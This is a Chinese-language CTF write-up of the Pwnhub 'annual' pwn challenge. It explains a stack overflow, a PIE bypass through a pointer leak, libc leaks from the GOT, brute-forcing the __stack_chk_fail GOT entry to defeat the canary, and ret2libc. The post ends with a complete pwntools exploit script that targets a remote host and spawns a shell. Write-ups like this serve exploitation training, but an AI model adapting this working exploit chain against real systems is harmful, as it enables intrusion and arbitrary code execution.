Pwnhub血月歸來annual Writeup

思路概要

我解本題的思路大致如下:

  1. 用棧溢出leak全局變量地址,繞過PIE
  2. leak libc中函數(shù)的地址,根據(jù)低字節(jié)找到對(duì)應(yīng)的libc版本弃衍,同時(shí)得到libc地址
  3. 修改got表中__stack_chk_fail的地址使其指向一個(gè)ret指令。此處需要爆破
  4. 用棧溢出ret2libc

逆向

main函數(shù)

main函數(shù)調(diào)用了兩個(gè)函數(shù)。initialize里調(diào)用了srand(time(0))证鸥,將函數(shù)指針賦值給全局變量。接下來看main_0函數(shù):


main_0棧幀
main_0主要流程

通過菜單選項(xiàng)執(zhí)行函數(shù)勤晚。分別有:

  • B)ye. 返回
  • G)et more packet. person結(jié)構(gòu)體中的money指針指向的值加上一個(gè)模100的隨機(jī)數(shù)
  • P)rint packet. 打印person->name和person->packets中所有指針?biāo)傅腜ackets信息
  • R)ename. 重命名枉层,此處存在棧溢出
  • S)how. 打印person->name和*person->money

Person和Packet結(jié)構(gòu)體是通過逆向分析得到的,如下:


結(jié)構(gòu)體

翻譯成C語言就是

struct Packet
{
    char message[0x100];
    unsigned int sig;
    unsigned int Money;
};
struct Person
{
    char name[32];
    unsigned int * pMoney;
    struct Packet * packets[10];
};

Tips : IDA改名赐写,定義結(jié)構(gòu)體十分有助于逆向分析鸟蜡,弄清程序流程

Pwn

checksec。沒什么好說的挺邀,是個(gè)64位程序


checksec

繞過PIE

main_0函數(shù)中的pMoney指針(off=0x20)指向的是一個(gè)全局變量揉忘,可以通過寫入0x20個(gè)字符后打印名字來得到money全局變量的地址跳座,以算出bss段地址和got.plt表地址


person.pMoney

leak libc

可以利用show函數(shù)打印*person.pMoney,通過棧溢出覆蓋該指針可以實(shí)現(xiàn)任意地址讀泣矛。將其覆蓋為got表地址可以泄露函數(shù)libc地址(由于show函數(shù)只會(huì)打印4字節(jié)的數(shù)據(jù)疲眷,因此每個(gè)地址要leak兩次),泄露兩個(gè)libc地址后就可以使用工具獲得相應(yīng)的libc您朽。之后計(jì)算出system函數(shù)和"/bin/sh"字符串的實(shí)際加載地址咪橙。
這里我使用了工具https://github.com/niklasb/libc-database,也可以使用pwntools的dynELF來實(shí)現(xiàn)虚倒。

覆蓋__stack_chk_fail的got表地址

這是本題中比較關(guān)鍵的一步美侦。因?yàn)樵诔绦蛑心軐懭我獾刂返暮瘮?shù)只有GetPacket,而修改 的值是一個(gè)隨機(jī)數(shù)魂奥,所以需要通過爆破找到值為0xc3(ret)的地址菠剩。
我們首先獲取__stack_chk_fail中存放的地址值scf_addr。此時(shí)__stack_chk_fail未綁定耻煤,因此該地址在用戶的地址空間中具壮。將person.pMoney覆蓋為__stack_chk_fail的got表地址。
調(diào)用GetPacket哈蝇,每次GetPacket后用rename將pMoney指針修改為scf_addr+money(當(dāng)前總金錢數(shù)) 棺妓,順便覆蓋person的packets數(shù)組首個(gè)元素為0(這樣才可以爆破多于10次)。然后使用show可以讀取got['__stack_chk_fail']中存放地址中的值炮赦,不為0xc3就重新執(zhí)行GetPacket怜跑。
money過大會(huì)使got['__stack_chk_fail']超出可執(zhí)行代碼范圍,一般2000以內(nèi)不行就可以重新爆破吠勘。最終可以使got['__stack_chk_fail']指向一條ret指令性芬,繞過cannary

ret2libc

使用ropper工具在libc中找到一個(gè)跳板pop rdi; ret;(原程序中雖然也有這個(gè)跳板,但是不可執(zhí)行) 計(jì)算該指令地址剧防。構(gòu)造棧幀如下:

寫入(buf)
'a'*0xa8
gaget -> pop rdi; ret;
binsh_addr -> "/bin/sh"
system_addr

成功返回后難道shell植锉。

攻擊代碼

from pwn import *
#pwnhub{flag:H4ppy_N3w_year%^&*}
#io = process('./annual')
elf = ELF('./annual')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.26.so')
libc = ELF('./libc-2.23.so')
io = remote("52.80.154.150", 9999)
money = 0

def welcome(s):
    io.sendafter('name!', s, timeout=5)

def getPacket(s):
    global money
    io.sendafter("B)ye\n", 'G')
    io.recvuntil("$")
    inc = int(io.recvuntil("\n")[:-1], 10)
    io.sendafter("message!\n", s)
    money += inc
    return inc

def printPacket():
    io.sendafter("B)ye\n", 'P')
    return io.recvuntil("R)ename")[:-len("R)ename")]

def show():
    io.sendafter("B)ye\n", 'S')
    return io.recvuntil("R)ename")[:-len("R)ename")].split(' have $')

def rename(s):
    io.sendafter("B)ye\n", 'R')
    io.sendafter("name!", s)

def got(sym, bss_addr):
    return elf.got[sym] + bss_addr - elf.bss()

def leakGot(sym, bss_addr):
    item_got = got(sym, bss_addr)
    payload = 'a' * 0x40 + p64(item_got)
    rename(payload)
    #payload = 'a' * 0x40 + p64(heap_addr)
    #rename(payload)
    low = int(show()[1], 10) & 0xffffffff
    payload = 'a' * 0x40 + p64(item_got+4)
    rename(payload)
    high = int(show()[1], 10) & 0xffffffff
    return low | (high << 32)

def main():
    global money
    welcome('L1nk')
    # leak bss
    payload1 = "a" * 0x20
    rename(payload1)
    money_addr = u64(show()[0][0x20:0x20+6].ljust(8, '\x00'))
    bss_addr = money_addr - 0x4238 + 0x40e0

    print "[+] Money addr:" + hex(money_addr)
    # leak libc
    srand_addr = leakGot("srand", bss_addr)
    print "[+] srand addr:" + hex(srand_addr)
    setbuf_addr = leakGot("setbuf", bss_addr)
    print "[+] setbuf addr:" + hex(setbuf_addr)
    #if True:
    #    offset_system = 0x0000000000045390
    #    offset_setbuf = 0x00000000000766b0
    #    offset_binsh  = 0x00000000001190f0 
    #    offset_scf    = 0x00000000001190f0
    #else:
    offset_system = libc.symbols['system']
    offset_setbuf = libc.symbols['setbuf']
    offset_scf    = libc.symbols['__stack_chk_fail']
    offset_binsh  = 0x18CD57

    libc_addr = setbuf_addr - offset_setbuf
    system_addr = libc_addr + offset_system
    binsh_addr = offset_binsh + libc_addr
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr)))
    low = int(show()[1], 10) & 0xffffffff
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr) + 4))
    high = int(show()[1], 10) & 0xffffffff
    scf_addr = low | high << 32
    print "[+] __stack_chk_fail plt:" + hex(scf_addr)
    print "[+] __stack_chk_fail plt:" + hex(elf.plt["__stack_chk_fail"] + bss_addr - elf.bss() + 60)
    while True:
        print money
        rename('\x00'*0x40 + p64(got('__stack_chk_fail', bss_addr)) + '\x00' * 0x10)
        getPacket('\x00')
        rename('\x00'*0x40 + p64(scf_addr+money) + '\x00' * 0x10)
        if int(show()[1]) & 0xff == 0xc3:
            break
    gadget = libc_addr + 0x21102
    payload = 0xa8 * 'a' + p64(gadget) + p64(binsh_addr) + p64(system_addr)
    rename(payload)
    io.sendafter("B)ye\n", "B")
    io.interactive()

if __name__ == "__main__":
    main()

感謝zblee的邀請(qǐng)碼~

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市峭拘,隨后出現(xiàn)的幾起案子俊庇,更是在濱河造成了極大的恐慌,老刑警劉巖鸡挠,帶你破解...
    沈念sama閱讀 222,183評(píng)論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件辉饱,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡宵凌,警方通過查閱死者的電腦和手機(jī)鞋囊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來瞎惫,“玉大人溜腐,你說我怎么就攤上這事」侠” “怎么了挺益?”我有些...
    開封第一講書人閱讀 168,766評(píng)論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)乘寒。 經(jīng)常有香客問我望众,道長(zhǎng),這世上最難降的妖魔是什么伞辛? 我笑而不...
    開封第一講書人閱讀 59,854評(píng)論 1 299
  • 正文 為了忘掉前任烂翰,我火速辦了婚禮,結(jié)果婚禮上蚤氏,老公的妹妹穿的比我還像新娘甘耿。我一直安慰自己,他們只是感情好竿滨,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,871評(píng)論 6 398
  • 文/花漫 我一把揭開白布佳恬。 她就那樣靜靜地躺著,像睡著了一般于游。 火紅的嫁衣襯著肌膚如雪毁葱。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,457評(píng)論 1 311
  • 那天贰剥,我揣著相機(jī)與錄音倾剿,去河邊找鬼。 笑死蚌成,一個(gè)胖子當(dāng)著我的面吹牛柱告,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播笑陈,決...
    沈念sama閱讀 40,999評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼际度,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了涵妥?” 一聲冷哼從身側(cè)響起乖菱,我...
    開封第一講書人閱讀 39,914評(píng)論 0 277
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎蓬网,沒想到半個(gè)月后窒所,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,465評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡帆锋,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,543評(píng)論 3 342
  • 正文 我和宋清朗相戀三年吵取,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片锯厢。...
    茶點(diǎn)故事閱讀 40,675評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡皮官,死狀恐怖脯倒,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情捺氢,我是刑警寧澤藻丢,帶...
    沈念sama閱讀 36,354評(píng)論 5 351
  • 正文 年R本政府宣布,位于F島的核電站摄乒,受9級(jí)特大地震影響悠反,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜馍佑,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,029評(píng)論 3 335
  • 文/蒙蒙 一斋否、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧拭荤,春花似錦茵臭、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至歇终,卻和暖如春社证,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背评凝。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評(píng)論 1 274
  • 我被黑心中介騙來泰國(guó)打工追葡, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人奕短。 一個(gè)月前我還...
    沈念sama閱讀 49,091評(píng)論 3 378
  • 正文 我出身青樓宜肉,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親翎碑。 傳聞我的和親對(duì)象是個(gè)殘疾皇子谬返,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,685評(píng)論 2 360

推薦閱讀更多精彩內(nèi)容

  • WEB 祝大家圣誕快樂!hhhhh sprintf看著像wp里面的日杈,去漏洞平臺(tái)搜了一下遣铝。應(yīng)該是這個(gè)漏洞: 這個(gè)我不...
    RedTeamWing閱讀 1,444評(píng)論 0 2
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,326評(píng)論 0 2
  • 最近在學(xué)蒸米的《一步一步學(xué)ROP之linux_x86篇》,內(nèi)容寫的很詳細(xì)莉擒,個(gè)人學(xué)到了很多酿炸,但同時(shí)學(xué)的過程中也有很多...
    2mpossible閱讀 1,519評(píng)論 0 5
  • 為什么你們都能如此充滿希望
    無夜無閱讀 152評(píng)論 0 0
  • 你是不是每次去醫(yī)院都會(huì)做檢查呢?是不是每次做完檢查一大堆化驗(yàn)單撲面而來涨冀?看又看不懂填硕,看著也心煩!從現(xiàn)在開始鹿鳖,...
    文滄海丶閱讀 2,199評(píng)論 0 1